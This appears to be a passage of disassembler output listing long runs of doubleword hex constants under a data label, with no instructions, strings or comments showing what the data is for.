		dd 5EB700F1h, 10FC14F2h, 0A40ABBCBh, 0D4B2848Ah, 73A9F500h
		dd 1E5F9A6h, 226D6A47h,	408C2A15h, 164631FEh, 7279CA00h
		dd 0A6FB3CE1h, 94050F64h, 4DC0A8D0h, 1A91E91Dh,	1C356201h
		dd 25366106h, 0FEC05420h, 850E00FDh, 6A0271ABh,	1C0073EBh
		dd 5CBCE0Dh, 0F6E21AC0h, 0CC460076h, 957E5AFAh,	0A930A36Dh
		dd 66B1316Bh, 16CF00BCh, 451C1373h, 511F3E2Ch, 1B40C46Eh
		dd 6D4C2EEEh, 342B1D70h, 82053CB4h, 984FE4h, 0F45C72BFh
		dd 4D008FC7h, 25FBDF6Dh, 3B682CE8h, 83802689h, 0F390DE40h
		dd 2F769C42h, 0E7778102h, 6874BBC9h, 205D44h, 3C327529h
		dd 6FEF9FDAh, 0F8035301h, 0B7475A1Bh, 76CCB880h, 0D133566Ch
		dd 57392A7Dh, 0E44E80A7h, 68A9C451h, 882C01B7h,	0C7DE3522h
		dd 210DD467h, 0B5441700h, 4CC6F1EBh, 10D30002h,	0A06C5FDDh
		dd 3D032873h, 0A779CB77h, 95BFD826h, 87B11FDCh,	0C0C3DFA3h
		dd 3C0C5CE6h, 0C91D7149h, 0B40D126h, 57047C35h,	688900B6h
		dd 92400514h, 170032D9h, 117AE697h, 0EC132Eh, 8DA7B3DEh
		dd 6C98E962h, 0A48148h,	9C93B731h, 0C0506FF2h, 0A6112872h
		dd 0A500DFE3h, 40A20E53h, 28C168C7h, 0B3E532h, 0FBA12761h
		dd 0C82875BFh, 57A28D00h, 31560195h, 4C1400AAh,	0CB55D80h
		dd 0E4001882h, 4B259B16h, 0DB0B19h, 0BC1739F8h,	46A7538h
		dd 0A5B9FF09h, 3201C13h, 37BBC82Eh, 28F9B903h, 0F5E0DF3Fh
		dd 1600920Eh, 8C55A094h, 7F5C5Eh, 685BA7D2h, 5F02D5AAh
		dd 78EF5101h, 27EB6307h, 0C27A7080h, 7293BD34h,	6C864600h
		dd 92DEF782h, 69EB0028h, 5A7F5361h, 3A0F95B7h, 0FB370Eh
		dd 4FB0851Fh, 10C3008Ah, 0DAB48231h, 0C626D914h, 171C5418h
		dd 28C1F83h, 79EFB8FDh,	0F3E20E13h, 0AD09397Bh,	0DB4BA080h
		dd 0A01C8FFh, 578B38A1h, 12F165A5h, 5914EC70h, 30038885h
		dd 0F0F446EEh, 30E57CC1h, 0FE0042B8h, 3E6803ECh, 0A80A89h
		dd 0F5E01967h, 0C74425C2h, 9D00E372h, 7D296698h, 14FEA9h
		dd 23FCAECBh, 1A6B776Ah, 45C1EF00h, 80658F1Ch, 0FAC7006Ch
		dd 3F4DB44Ch, 7400E91Fh, 0F9C5D67h, 36395BAh, 0CA7D0321h
		dd 57F09B08h, 0D005224Bh, 5CBD0486h, 4E1565C0h,	0ADFC007Ah
		dd 8ABBDA8Eh, 0AA0F821Eh, 80BEDCD0h, 0F997EA9h,	1A440042h
		dd 5717FE03h, 462E3592h, 0E501DBC6h, 9F077290h,	0F5D0DCh
		dd 217C4B62h, 20C5883h,	0FFC60903h, 0A0F67969h,	1C201755h
		dd 4575890Ah, 8350ACB1h, 82F8091Ch, 271F56C3h, 80FD3B45h
		dd 0C53E0421h, 6434A7h,	0B6A9FF58h, 8A1D4124h, 5C705900h
		dd 940E1EB1h, 0B87B3885h, 12F57100h, 16F46BDEh,	83CCD500h
		dd 0D0055997h, 1550F9Ah, 700BB9Fh, 0A0E1D16Dh, 810FB003h
		dd 0BF30293Fh, 8B48D780h, 1733008Fh, 6D32E560h,	31007FA8h
		dd 0A7B94B88h, 0DB1B92h, 58D0A57h, 0EE06D6D3h, 22EDF700h
		dd 6B439309h, 0A0AE0024h, 0FD273A2Bh, 0E538FB6Eh, 5DE21EDBh
		dd 4719E6C0h, 79832D7Eh, 4F29003Dh, 0D8D3CDEDh,	36009185h
		dd 0EA35DF6Ah, 0B93C1Dh, 9D3DD50Ch, 60E2BD33h, 0E977E400h
		dd 5C847A52h, 14734Bh, 17878047h, 0D1B24C8Fh, 0BFA51600h
		dd 561FE760h, 0BB5E00EAh, 0B9ED0F24h, 3900DA4Ch, 0B6CE4EC8h
		dd 0D591D6h, 75F2BC30h,	0B7803C1h, 366DC012h, 9B296800h
		dd 75C5A2BFh, 846E009Eh, 605358E6h, 0E0581722h,	3D9F00AFh
		dd 1E213CABh, 8510066h,	12F69CD1h, 0BC00D981h, 0FE164EEDh
		dd 2C4D305Fh, 53CE8F2h,	0C38470A4h, 0FA896190h,	0A34E109Bh
		dd 2C2A261Ch, 9F7A80A5h, 0C36103C9h, 9197B300h,	0BAED8223h
		dd 495E0B4Bh, 7AB9h, 1FB068E4h,	62E72800h, 0EA387D36h
		dd 7E7782h, 4989CC0Ch, 0B6B89454h, 5FFD401h, 20B05CEBh
		dd 7EA660h, 0C5F5BBFDh,	0DEAB9A43h, 0A8E2C001h,	6406E005h
		dd 54EEDAh, 73A2F3C3h, 8D4C956Bh, 2800C0EAh, 0B0DF4096h
		dd 265876Dh, 707D3205h,	24E0E4B6h, 3700C08Ah, 0CB4D1FF8h
		dd 78F921C2h, 0BE7B2CD9h, 73A60046h, 0F0C909F6h, 122C7F00h
		dd 60A761CDh, 5F7FEE9h,	0BE23526Ah, 0F9052A2h, 0EA8157E7h
		dd 0F09EF28Bh, 962473FDh, 0C6077DD6h, 0A5D0081Dh, 1132CB9h
		dd 0F6CD43A9h, 0D835FFCEh, 4D0BD54Ch, 0EF7CAFh,	0D1DFA9CCh
		dd 0EB330089h, 0E5441120h, 2907489Bh, 0C607F077h, 0AACF6DA7h
		dd 0AC0EB8CCh, 93F56080h, 7B3B99Eh, 0B6E167AEh,	4247186h
		dd 488CDCF0h, 16FD13Ah,	5462FA57h, 1AF88815h, 0B3532E36h
		dd 0C39380A0h, 764996C6h, 0CEE07802h, 90E1CF1Ch, 0BA8F6B8h
		dd 70FA0954h, 0B02EE887h, 57F72E6h, 84985A00h, 65DA074Ch
		dd 0EA87039Ah, 0A5F34826h, 7EA80498h, 0F9226900h, 23073041h
		dd 2D4200F1h, 0DB15CA1Ah, 240F7E94h, 0D3D3F260h, 2C1C718h
		dd 839488Eh, 89AA3300h,	8F7B9EECh, 42DE3Eh, 0B2EE290Eh
		dd 3EF8A0h, 0B581531Fh,	0A39C7C38h, 2259h, 112C50BEh, 6C10FFh
		dd 0B7D43E53h, 0DD9F7391h, 4051A800h, 0D954FD19h, 0E5871DBFh
		dd 10C54089h, 7775CDCAh, 0B766550Fh, 6E5C2021h,	7903393h
		dd 0ECFA20AFh, 7892CB7Dh, 2DE8C443h, 4900CADFh,	5C127C3Eh
		dd 0C10EDBh, 734B40B5h,	0CAEEF1E0h, 0AEEC20F7h,	0FCA24973h
		dd 0B270F60h, 4E02ECBAh, 1ADB50D4h, 0D158C054h,	626E00C8h
		dd 76B78EC5h, 5900369Ch, 92E206DCh, 0B8210CAEh,	0B87230A8h
		dd 0F9A17DF6h, 0DE4FA207h, 8F13DBCCh, 0EDAED076h, 66481215h
		dd 213CC7F4h, 605B0D2Eh, 0CD0EEBECh, 2F74E46Bh,	0F223C3AFh
		dd 107DE0D6h, 719028D0h, 0A67801FCh, 52459548h,	512FD86Ch
		dd 4AA7A400h, 0C14F319Dh, 134C9C6Dh, 0D32C40E4h, 419C02ACh
		dd 6FB1B206h, 0F20FB6Ch, 0B3C963C5h, 1A1B4520h,	1F003635h
		dd 2858E87Dh, 30510C8Ch, 37A8EA9Eh, 0D600C4DEh,	0CFA0B520h
		dd 7FCB3D3Ah, 5B5A2E07h, 629D78h, 320C8BB3h, 0AC024ACDh
		dd 701C205Ch, 3B454006h, 38503091h, 6140B958h, 0A0289380h
		dd 0C03AE4h, 6B4ED166h,	0D538B0B3h, 0E2C29828h,	0AE2EB600h
		dd 0F27C2811h, 327BCFh,	12DD4CAh, 62C4CBDh, 504A940Ah
		dd 9B00E08Ch, 710802A2h, 0FDCA3BF9h, 0DD578680h, 0F78AC36Dh
		dd 0F1E11605h, 58D2EB55h, 65B490EFh, 731B00FDh,	0E7A45B4Dh
		dd 0EE2E77A9h, 0F500C044h, 0B607053Ch, 0E574033Ah, 0ABA864C9h
		dd 32A381D0h, 60E98200h, 695D2910h, 0E4040035h,	5B3E9120h
		dd 883EEAD7h, 42940725h, 84DFBD7Dh, 490A77Fh, 5B0CB1h
		dd 56A81F15h, 37963C3Ah, 0A0342130h, 9E029055h,	0A82C30h
		dd 0E064A180h, 0AB0094D2h, 0EFFA47E8h, 1638CCFh, 53FC5EE9h
		dd 9004751Ch, 99C7D6E1h, 83E9319Bh, 0CCD640B0h,	0EBFCA494h
		dd 84266B00h, 1855132Fh, 283A07B4h, 30714637h, 0DC4A579Ch
		dd 0BD42CF3Ah, 3E9913E9h, 481CECC2h, 0EDF624h, 5BE3CBFEh
		dd 25F30D83h, 0D239A612h, 9D3E5C00h, 47F04Eh, 0C8EE4863h
		dd 7E2F0C79h, 3661600h,	94931C80h, 0B7390027h, 315AB443h
		dd 9D1EE02Ah, 1539A055h, 1C98B16Eh, 5C009210h, 238CE939h
		dd 619101BCh, 0C9256041h, 0ECD8404Dh, 0A81CDAA9h, 150142F9h
		dd 0B36CB5D9h, 856824h,	57DD1F87h, 6EECF103h, 2303AC9Ah
		dd 5083265Fh, 0CB100072h, 0FF0B8A9Fh, 0ECED11C3h, 149AED8Dh
		dd 430CE800h, 5A59E1Eh,	0A408143Bh, 5100D0D7h, 0D802A99Bh
		dd 3A00A1D5h, 16A2CEB8h, 0EEBF6E3h, 0C97903AAh,	7F801D00h
		dd 0E4F0B472h
		dd 0D5303D00h, 0F091FBFEh, 0B890C9Ah, 8B88C855h, 0B41C3612h
		dd 0C8D01C0Eh, 0AB3100C6h, 940B95E5h, 0D1BFF714h, 11B500F8h
		dd 346719C8h, 5AAC1826h, 0EA27B053h, 9A8AEE0Fh,	0D6D5A08Ch
		dd 8EBA3Fh, 75E62159h, 0F2982296h, 3A1A9304h, 0EC8007C6h
		dd 82F6E1h, 0D3EC7E10h,	0AA50F2E6h, 99F7A40Ch, 73DE58ADh
		dd 0FEEB2687h, 12C60046h, 9E64794h, 70A06A4Ch, 4DA6600h
		dd 4D7907CDh, 0A93079Ah, 0D76B2785h, 14E950CAh,	61139923h
		dd 540744D1h, 62108952h, 6E3AB08Ch, 0D744D835h,	0D8DB6Dh
		dd 3E1F5311h, 1FF84718h, 43708C5Ch, 0B06A3799h,	441E3D90h
		dd 833A528h, 1F94295Ch,	269CF26Fh, 0E1A7C30Eh, 5EE4EFDAh
		dd 1025D43Ch, 0D841ECB0h, 38728303h, 90B0CAE3h,	5D5A24h
		dd 0A42CE085h, 7A2166A0h, 0C8162EB0h, 0E600712Ah, 19FBA74Fh
		dd 81EA1EFAh, 7E54894Eh, 0EDF5C8C0h, 0BE2A6E01h, 0BCCD9F48h
		dd 79E682F8h, 805F18C3h, 0EA287883h, 67942D00h,	6E9D10Ah
		dd 0DAAB3FF4h, 495CB601h, 3E7F3D29h, 3C457F0h, 0E74ABAF8h
		dd 0A2E05DC2h, 7E0018C5h, 0E22C4E62h, 309DECh, 0F65A79Ch
		dd 820D3E88h, 8A3C1201h, 0A535B69Fh, 6180A2FEh,	105042h
		dd 0E2ACE079h, 0D3F5A038h, 2C75FE16h, 17516300h, 0F6331DFh
		dd 2F21B3D5h, 6F6B7C00h, 780E38A6h, 0A060533Ch,	0D6B36674h
		dd 804C039Dh, 0C01C854Dh, 8FC82AC3h, 88A3512Eh,	0F9DE7CC0h
		dd 9348FA00h, 57C7EB30h, 0E24F0099h, 2EE9C30Dh,	0D31F01B0h
		dd 0BC5D64F8h, 4E83AE00h, 7943EC5h, 1EF0A4C4h, 4CE992D2h
		dd 8228E080h, 0CA00FFC0h, 348EEA88h, 4886522Fh,	0AD2E66C5h
		dd 69F700E4h, 9284B89Eh, 34103Ch, 31BD8C02h, 0F8EA0482h
		dd 45CF0049h, 0B8D3F45Fh, 0A300D4E8h, 9CEDE54Ah, 38C69FDBh
		dd 7E81E64Fh, 40C7B075h, 2016FD62h, 440B5DF6h, 80088E26h
		dd 1D2EBF78h, 5920050h,	332458Fh, 0A20054D7h, 28B15C58h
		dd 0D0C0B3h, 4DC15FD1h,	0A8DCC37Eh, 0DE9D4802h,	0C3D94629h
		dd 0A12EA056h, 71411C69h, 0B4BC09Bh, 3E8BC53Ch,	0DECBCE00h
		dd 0DA4E99EFh, 0EAF603A6h, 5596418Fh, 80F929C9h, 15098A10h
		dd 0B2D82D83h, 4D237718h, 0BE018051h, 0F5E31B46h, 0F1B1E80Bh
		dd 560A44BAh, 0C421E689h, 5080839Ch, 2A0E03B6h,	19316A7Ch
		dd 0BD910066h, 0E2D88605h, 3B203A00h, 1A095E71h, 0D9CA0F0Ch
		dd 5B40F9AAh, 617AF1EDh, 56D11D00h, 80286414h, 0C40B1487h
		dd 4F03D044h, 88B49D8Ch, 0F5D602C8h, 0F8008C90h, 0AFED2AA0h
		dd 9B693Bh, 85968F94h, 21C2E4D8h, 286B1703h, 8890D90Ah
		dd 689A10h, 0C877FC76h,	74E3EC22h, 27A48700h, 4735B803h
		dd 4EB700E8h, 153E6F06h, 0D34FD2Ah, 0DF01D0F5h,	0E284A01Dh
		dd 0E82F1080h, 0B9341335h, 0C338870Bh, 0F23024E5h, 975E5920h
		dd 7C1C301Dh, 473BC884h, 2882C8D0h, 0E7B83Ah, 0A1F32E69h
		dd 0F1BF4BC2h, 0D4817001h, 82C351ABh, 128C90FBh, 467A00CEh
		dd 0CC2B2213h, 71018D61h, 6E96D9D3h, 0EADCFDE7h, 61C3B75h
		dd 0BDCA6500h, 57B9EDD5h, 78FFDC26h, 0A1E3E07h,	0E8F40990h
		dd 948E30C2h, 65E55BB1h, 2CBBF513h, 0EB057453h,	8C904996h
		dd 1D2DCCEh, 78D7213Ah,	0C402CC98h, 0B501849Bh,	802B174Bh
		dd 0AAE05504h, 0BBDC00C9h, 4E37DA0Ah, 0B2183D6Fh, 0E821ED60h
		dd 3372BDh, 66863B78h, 0B93FC2EFh, 0D5DE89CAh, 0B08AB439h
		dd 7F470CC1h, 0C5803C39h, 0ECC223Ah, 1A06D679h,	7DE1A3D3h
		dd 79F039A8h, 88B64A8Eh, 0B9F0167h, 0AD5690C8h,	40423300h
		dd 1FA31EA7h, 772B00F5h, 31619B75h, 0B9076564h,	8D5AE8BCh
		dd 0D086D573h, 9D05CAh,	0D2EADA7Eh, 0FCC74602h,	6300D090h
		dd 87911881h, 10F4D17h,	0FBFD0D85h, 0F4084909h,	0D407A21Dh
		dd 0CF4ACB11h, 0B0911BF4h, 3A4491h, 0D6E3F964h,	0A100DEE9h
		dd 3F6DB4BBh, 1F326E5Eh, 0C0232587h, 0C88E46E8h, 4516F871h
		dd 2000FB27h, 0C57696D4h, 0AFC70016h, 1BC13A05h, 793A4CC9h
		dd 140E009Ch, 254D917Dh, 0D6822FBFh, 50013C3Eh,	38F61CB1h
		dd 6064E115h, 40FA3BDCh, 7D9923BEh, 0FFCD2871h,	182E7ED0h
		dd 5FE2F703h, 0DF35C9h,	753BFDD8h, 659B100Ah, 9D0B3238h
		dd 3440B45Bh, 0B111F7CAh, 1FEA0020h, 9E3EBCDAh,	0A490C9EBh
		dd 9D4C817Dh, 7A5C0021h, 875363B7h, 0D9BB008Dh,	69EB2D7h
		dd 0F4714CFCh, 0FD1AC100h, 52151C11h, 33BB005Eh, 0F7FFEB61h
		dd 30CA8A4h, 18DB4A90h,	194764Bh, 7A0BD8C0h, 20103D8Dh
		dd 45F68523h, 6704E507h, 26E054CAh, 3AB7685Bh, 0E802A910h
		dd 0F7F8A7CBh, 880A94C2h, 0DE0300F4h, 24C7B298h, 4031790h
		dd 0FD34CF5Dh, 83A1D8F3h, 0A38F00EDh, 0C3881F8Ch, 2E0312FCh
		dd 9623470Bh, 8731CAB5h, 1314D4EAh, 6EE8A0h, 0AF6A98C0h
		dd 0EEA3D880h, 84276B00h, 3B8D4F23h, 0C9720002h, 0CF54850Dh
		dd 44007674h, 1A37B56Bh, 47651Dh, 0F1A53AE5h, 42BE0B60h
		dd 0AFAC7C01h, 8D5F0A20h, 948D2D2h, 0CC6B9DD2h,	0A1824C8Fh
		dd 0B0E0854Ch, 410FC364h, 20125833h, 0A611FB7Dh, 0F0CCA04Eh
		dd 943800FCh, 4B50CD29h, 75798F4Dh, 72331800h, 0F6D3DBCFh
		dd 5D9053Dh, 0EE7FA91h,	730747F1h, 0C055A02Fh, 831DD479h
		dd 0B009597h, 2CF5728Ch, 5D1900E7h, 32992B5Ah, 0D80089EDh
		dd 926AA8DFh, 2B2CEF8h,	7258C76Fh, 50C0E240h, 7B2CCD1Dh
		dd 0A42A1845h, 87EADDFEh, 550CC3FAh, 0E9F678Fh,	0AB7100D7h
		dd 0FF0789E5h, 2A00425Ch, 822D6A75h, 0CEE9ECAEh, 64C9C980h
		dd 27584200h, 0E212C018h, 64030A9Ch, 0B8855443h, 6090C751h
		dd 0B6F271F6h, 47247D6Eh, 5E8778D3h, 201CF076h,	0B11E011Bh
		dd 0B3FE065Fh, 342030E3h, 0CE0305F8h, 94A5EB0h,	0C7BB887Eh
		dd 170E005Fh, 7465BFF9h, 38002BE3h, 30137990h, 14FB01A0h
		dd 34B67D27h, 98B34E00h, 0DDAE296h, 8D248400h, 2878EFF4h
		dd 0A94B0294h, 0D882D332h, 5C9631C0h, 7B57FA04h, 0ACD0306Dh
		dd 0C182B2B3h, 27E378C9h, 0D0EAF1E8h, 78C176B5h, 9DD8A65h
		dd 141E770h, 0E59A31FFh, 6050BE62h, 450FAA0Ch, 0BE04272Ah
		dd 0FFF23580h, 0E5DC51Ah, 0A9D551F9h, 5B597E87h, 320C2B00h
		dd 5800A05Ch, 75304A0Fh, 282F33h, 0DACCC124h, 0CFF76CFAh
		dd 0EAE050A3h, 0FB72D5B9h, 0B3DA961Fh, 0E80873h, 0B9A28E21h
		dd 64D71590h, 0E6A1D203h, 8BFAA750h, 0F2DAD80Ch, 2E980021h
		dd 0DDB238Ch, 92637B7Ch, 0C853C018h, 2437636Ch,	4420695Dh
		dd 0D315809Dh, 2758BB03h, 893311Dh, 2080DEB4h, 0D2704A38h
		dd 920002DBh, 56F9E9BCh, 0C0A4E04Bh, 5D99FD50h,	2000E50h
		dd 48F116A1h, 732400Fh,	7B45624h, 84A553DAh, 0B6FD7107h
		dd 89D0ED7Eh, 3052F3CDh, 2820E98Ah, 0A863A14Fh,	0A66518h
		dd 0FD2D1A81h, 0DFD4F0F8h, 87A05D1Fh, 242BACC1h, 1DF83EF3h
		dd 0F08D681Bh, 80E611A8h, 0FB66B6B5h, 9F448CADh, 6B9F8F3h
		dd 4863CBCAh, 0F0144020h, 0A4431Dh, 0E12C59DBh,	3FB8532Ah
		dd 0F9BBAFF5h, 553BC500h, 39A11AFDh, 0FE929700h, 3159E94Fh
		dd 445A0752h, 0D0A3A020h, 63D3EA12h, 80BABC3Ah,	6D8C3E17h
		dd 5ACADEh, 0DC115035h,	0C025C481h, 911EF600h, 0C24CB65Fh
		dd 53FF0337h, 5DCED5F1h, 0EB6E29F8h, 4D12850Eh,	0CCF240E9h
		dd 3D1158BDh, 0ED1FB157h, 1BA4244Ah, 0D3C0204Eh, 18A0F577h
		dd 6300C387h, 78C76744h, 0A954BAh, 0D2BB4A61h, 0F1F38048h
		dd 0AAA11C02h, 0B478CF96h
dword_519448	dd 4EEA3F14h, 0CCB04C94h, 666D7860h, 0BF02A4D1h, 0D91A49BAh
		dd 0D20420ECh, 0A8DFB821h, 0C16DA0Ah, 44A67588h, 7D993112h
		dd 4A42EE08h, 12542D08h, 5C312A98h, 4ED83061h, 8B1EE818h
		dd 70ED4C40h, 8C40F933h, 3DC5D9Eh, 82C33DF8h, 2003E6D5h
		dd 86C5B4D1h, 0B1502208h, 0E1067A15h, 339E00A8h, 0C3D1487Dh
		dd 60417821h, 0C28160DCh, 1FF8C61Bh, 71C7B3F0h,	7982DAE1h
		dd 2D088747h, 20BF6E82h, 0B25A37C9h, 5264B000h,	0F4EA4CC0h
		dd 0FE79C07Dh, 1C013FC4h, 58A15715h, 0C34E00ACh, 0DD42A9AAh
		dd 1ED70CEh, 4BEB5A8Ah,	0CAB0FAF8h, 20ADFCA0h, 0D506010Ch
		dd 0CCE569B4h, 0C0FFEC09h, 0C680D20h, 7067F5D1h, 1980D571h
		dd 2B38352h, 0D4F18145h, 0BC80100Dh, 354C4D97h,	0C9A06C54h
		dd 0A0BAD300h, 493BD193h, 141A3A68h, 0B621C133h, 9F51A390h
		dd 3992B800h, 7179D8A8h, 544F03F0h, 574DE8A6h, 0E3F59B90h
		dd 0AF0DE8A8h, 0F067A900h, 795AC49Fh, 8B08CC8Ch, 87005BA1h
		dd 9D989E36h, 4BE65Dh, 75C2E3DBh, 6B454F5h, 0DD3222h, 91D8DA0Eh
		dd 0A240E293h, 48016500h, 476204D4h, 0D347DB0h,	0ADE5C6BFh
		dd 4AC810E0h, 4CEC871Ah, 1518B40Ah, 2176AC6Eh, 0D2ACF811h
		dd 75125600h, 3BCD5A92h, 35004F13h, 0BC06B536h,	520283AAh
		dd 0A9E8EA4Dh, 9B8C8046h, 89BE03h, 876F3691h, 68975ADBh
		dd 0BC0E84F0h, 209C6563h, 1B1901B1h, 94340086h,	1621F308h
		dd 5A006AA3h, 0FD7BBC70h, 0D81F80h, 6306017Dh, 8E17E2AEh
		dd 0DC0A2103h, 0E0460C43h, 5A32A40h, 1053EAE4h,	0B220C105h
		dd 91F1E4AEh, 59412800h, 0C5AC3921h, 69022479h,	9F40173h
		dd 0FC4F6C11h, 49020755h, 96F7CD4Bh, 3F818706h,	17FD8B0h
		dd 11FE835h, 1E461828h,	0FDE4E87Eh, 3AEDC8D6h, 4CFF1700h
		dd 769CCF1Bh, 90D900C8h, 0A01B0E4h, 400C0875h, 19D2CD8Dh
		dd 1CEE0085h, 0DE51F696h, 0C6308864h, 0C5DD50E1h, 5C10F211h
		dd 50006A8Ch, 0A86313CAh, 0EF0061A6h, 79E286AEh, 7519CEh
		dd 2A928224h, 4C62DC18h, 0F2D05C1Fh, 2D0CB100h,	0FDD387Fh
		dd 0B6E2F3D2h, 0A7BB60C0h, 0D51E0DCDh, 52C02BE4h, 0B7AF6C3Eh
		dd 31870CD7h, 0B060AB20h, 984B9000h, 619DD89Ah,	0B880E9EAh
		dd 7268ED1Fh, 0D755041Ch, 78F8DB80h, 0CF00C911h, 2AA5354h
		dd 60C762E8h, 386D4095h, 0A60061ADh, 4678D304h,	0AC0B643h
		dd 0CA1D3109h, 69617D04h, 10839C4Eh, 0CB34BFD2h, 41CFD9E0h
		dd 0C2C61200h, 1DCC3E0Dh, 0C71850E9h, 0F1D218CBh, 67D940A4h
		dd 99295262h, 0A021003Dh, 0D7003778h, 955F45EEh, 0B2E803h
		dd 3680665Ch, 484D5D87h, 0C1C28A01h, 0CA75643Ch, 0CF33E8h
		dd 8C4C3227h, 0C2FCF3E1h, 0AD482A01h, 4A58B684h, 2AEC8D4h
		dd 2420A807h, 40D5E3A0h, 0F7570C1h, 2E39404Ch, 0D8EFFC60h
		dd 9300F0ABh, 7FA69E9Ch, 0F65D84h, 0E452201Bh, 5970FDA2h
		dd 0A494881Dh, 3D57DBC0h, 16773E2h, 0AB5FED65h,	0FC1A778Dh
		dd 0E7007116h, 896F8B82h, 8FB5E8h, 0B8CA53Eh, 15C48F4h
		dd 901E6100h, 68FEF65Ah, 79B76EDh, 42B4981Ah, 7CC710A4h
		dd 0BF095D45h, 0E0750124h, 0E6D54E5h, 9B28FBADh, 0CB2C7B00h
		dd 0D5FA1197h, 1A930500h, 10DC61B0h, 52D0004Bh,	6AEEE7CFh
		dd 70008BC9h, 71C15DF4h, 34D598Dh, 277B5C46h, 0BEC834A2h
		dd 0A60EFD50h, 60835582h, 0B244AF4h, 6D17000Ch,	0D8469E5Ch
		dd 0B20F5BEFh, 2001C16Ah, 3F830723h, 69E21Fh, 220591CAh
		dd 5C96069Bh, 0DCF2A505h, 0D8C3E31Eh, 1E50CE67h, 87169A8Ch
		dd 30AF0F12h, 11728B61h, 0BA469F3Ah, 0B8770165h, 7DA388E9h
		dd 7C91C5F8h, 4FE7003Fh, 4C13E624h, 84002D6Fh, 0FD3CB106h
		dd 5C1FC2D0h, 0BE00A8BBh, 0D8881022h, 1E2D43Ah,	0B5248C01h
		dd 0AA0479D0h, 74D9CCh,	53EDB6AFh, 2FE36A39h, 6CC3DE24h
		dd 30C0703Fh, 918DAF2Bh, 0E4E500EBh, 1CE85945h,	54F04E68h
		dd 44BAA803h, 0A80399DBh, 0CA5F7Dh, 0B004DD33h,	42C7EB36h
		dd 1E43C409h, 34180711h, 0F8050DD3h, 5C663C0Ah,	150040B7h
		dd 0A3AE4E32h, 0FB0121D1h, 829D837h, 0B424A55Bh, 86DA0093h
		dd 8D749619h, 524C2D64h, 4E3000F3h, 7CF488F9h, 8C26399Eh
		dd 0E604FA80h, 9857BC87h, 0AA404900h, 0C2B8F01Eh, 0FFD60055h
		dd 264A3DEBh, 7B003783h, 139C724Dh, 374D035h, 42CEDCA7h
		dd 0BEA070D1h, 0D002571h, 0B549B38Dh, 3CEB0BC2h, 589D249Eh
		dd 0AEDF30h, 8675EE79h,	10C061D1h, 15D8E6DDh, 913B0325h
		dd 4F167ED7h, 0D62709D8h, 8719F83Eh, 45E5ED50h,	9DD0EB20h
		dd 762E790Eh, 0EF033B6Dh, 4798E060h, 0C905B299h, 0FCCEB4F8h
		dd 204DF000h, 0C0F722B7h, 940BC340h, 2300F415h,	54EAD6C9h
		dd 0F51559Ch, 30F331CEh, 9DA3D220h, 0BD00DE92h,	0A09835FCh
		dd 265A01h, 17494E99h, 71AC9B43h, 0F06A2D05h, 0BC44839Dh
		dd 0F220D607h, 0C6009BACh, 416E896Dh, 30E8A335h, 60889E55h
		dd 0E3075AB7h, 2E56079Ah, 2380E88Ah, 0E94BBF1h,	98084CB1h
		dd 54CA1C14h, 41A1EF18h, 810AB3CBh, 8C9FC7DDh, 6FE0FC82h
		dd 1FF89C69h, 0C10B8FE3h, 66577077h, 0A718E0CFh, 3064A000h
		dd 1667A6BEh, 0B5AD07DDh, 30EAA8F8h, 2838A915h,	3181070Eh
		dd 6B8207EBh, 27B44FE1h, 21266080h, 39610337h, 8B1A1900h
		dd 2E7242CCh, 60A1481Bh, 35E0EE00h, 0C5692AF0h,	24EBBA01h
		dd 5EE3C9D8h, 4ADD1F4h,	0B0CE9374h, 0F8138304h,	0E19800F5h
		dd 0F13952CCh, 96539000h, 2ED8D5C2h, 0CB8DEh, 0F9F4349Ah
		dd 51926B7Dh, 8B81C001h, 8737C40Dh, 4942C740h, 0B51101B2h
		dd 481668A1h, 0A8A4EE95h, 0E9BD2006h, 5150001Ah, 0D75C38DAh
		dd 41146D96h, 0B8E0991Dh, 94F3030Ch, 0EECAEFD2h, 332C7EE0h
		dd 0DC56C6F6h, 750D09ECh, 31680203h, 411460E7h,	1BB00C34h
		dd 0C660CC1Ch, 70D51812h, 0FBD1F420h, 11D20315h, 2A8D5FE0h
		dd 451B2080h, 896C8700h, 40022C9Ch, 8635D76h, 91D0E729h
		dd 35C20FB8h, 0A0776013h, 247307FDh, 8118D7CDh,	225D8CF5h
		dd 5AAAF098h, 43064C00h, 0BCFC6E85h, 482DF0EFh,	0C60184D3h
		dd 2364679Bh, 0CF53E870h, 8C9F2400h, 4F71A2C3h,	0FD5A121Bh
		dd 298C3351h, 936879E8h, 6C4BFA00h, 0A1D22FF6h,	120DECAEh
		dd 42D55691h, 86D9F398h, 7D7200DFh, 0EAB220E3h,	522A0017h
		dd 18DD42C5h, 0B1006B8Ah, 0E34B6F6Dh, 0C37BEC69h, 5B700298h
		dd 8CFC40C0h, 0C2F3C600h, 0C4D6BAAFh, 0D48554A3h, 13F0011Fh
		dd 4B831D06h, 0D0B8572Ch, 0DCFB6E67h, 0FF146C13h, 8112204Fh
		dd 0C5558A10h, 0F76AA080h, 0DC43976Eh, 53403CAAh, 7A029B20h
		dd 0D970A16Bh, 0FE44ECBh, 0EFB0F40Dh, 833CF000h, 0FE0530D3h
		dd 0C4BB5EACh, 873BC040h, 7E2851DFh, 7D9BFA48h,	721A0059h
		dd 0DE4AE768h, 0F049AFE4h, 41990640h, 0A9358Eh,	0F265E1Ch
		dd 7495C955h, 130C2F00h, 399B7132h, 0C41000CCh,	0A3B6041Dh
		dd 0A0009DFCh, 3854508Ah, 0E203F06h, 9E4785D8h,	144E1640h
		dd 0BD746A7Dh, 0DA7EF600h, 6E46CD9Ch, 39F90040h, 3161FAF5h
		dd 0CB061FB8h, 0ED2F0C41h, 2CBF0586h, 0D72915A4h, 0B8A459ECh
		dd 89408154h, 0DE98508Bh, 0B41839D3h, 6C106432h, 92CEAD2h
		dd 0FE7869B3h, 637E400h, 262431CCh, 0AB0E70B6h,	0A338C01Dh
		dd 6041F1h, 0C76BD901h,	44755C39h, 5F5805FAh, 0E3800FB0h
		dd 50D7C0BDh, 3FA65B99h, 23AE707h, 9FC62981h, 0D4F8FFA7h
		dd 0D7F28AC9h
		dd 2C004E78h, 6A079149h, 90F1FA34h, 620B000Eh, 0ECBEA6AAh
		dd 0CB0051B0h, 0A5E439C0h, 0C575FAh, 8CE5D54Dh,	739E792Dh
		dd 6A23D200h, 7CFD771Bh, 0FF73B3Fh, 0BDE5FA81h,	503C72AEh
		dd 0F2E91A8Ch, 1606348h, 0B06168F0h, 6864597Ch,	0DAC33E84h
		dd 9584124h, 14AF134Ch,	73E6F9C0h, 0A601FECAh, 779C8BB9h
		dd 9040E268h, 0D004D1h,	0DA841CCFh, 0B5962DADh,	0E07E692Ch
